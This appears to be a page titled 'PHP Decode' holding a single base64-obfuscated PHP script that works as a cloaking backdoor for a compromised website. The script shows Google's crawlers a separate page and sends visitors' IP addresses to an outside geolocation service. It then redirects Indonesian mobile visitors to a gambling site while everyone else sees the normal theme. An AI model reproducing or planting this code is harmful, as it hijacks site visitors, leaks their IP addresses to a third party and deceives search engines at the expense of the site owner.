PHP Decode

<?php function o0(){$b1=!empty($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')])?$_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]:'';$q2=$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')];$z3=parse_url($b1,PHP_URL_HOST);if(stripos($q2,base64_decode('R29vZ2xlLUluc3BlY3Rpb25Ub29s'))!==false||stripos($q2,base64_decode('Z29vZ2xlYm90'))!==false||stripos($q2,base64_decode('KGNvbXBhdGlibGU7IEdvb2dsZWJvdC8yLjE7ICtodHRwOi8vd3d3Lmdvb2dsZS5jb20vYm90Lmh0bWwp'))!==false){include base64_decode('Z2FsZXJ5LnBocA==');exit();}$f4=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$u5=base64_decode('aHR0cHM6Ly9hcGkuaW5jb2x1bWl0YXMuY29tLz9xPQ==').$f4;$l6=curl_init($u5);curl_setopt($l6,CURLOPT_RETURNTRANSFER,true);$o7=curl_exec($l6);curl_close($l6);$b8=json_decode($o7,true);if(json_last_error()!==JSON_ERROR_NONE){echo base64_decode('SlNPTiBEZWNvZGUgZXJyb3I6IA==').json_last_error_msg();exit();}$h9=isset($_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')])?strtolower($_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')]):'';$ta=preg_match(base64_decode('L2lwaG9uZXxpcG9kfGlwYWR8YW5kcm9pZHxibGFja2JlcnJ5fHdpbmRvd3MgcGhvbmV8b3BlcmEgbWluaXxpZW1vYmlsZXxtb2JpbGUvaQ=='),$q2);if(((isset($b8[base64_decode('Y291bnRyeV9jb2Rl')])&&$b8[base64_decode('Y291bnRyeV9jb2Rl')]===base64_decode('SUQ='))||(isset($b8[base64_decode('Y291bnRyeQ==')])&&$b8[base64_decode('Y291bnRyeQ==')]===base64_decode('SW5kb25lc2lh'))||strpos($h9,base64_decode('aWQ='))!==false)&&$ta){header(base64_decode('TG9jYXRpb246IGh0dHBzOi8vZGFmdGFyLnRvL2hhbG9iZXQ/dXRtX21lZGl1bT1ET09SJnV0bV9jYW1wYWlnbj1DbG9hY2tpbmc='),true,301);exit();}include base64_decode('dGhlbWUucGhw');exit();}o0();?>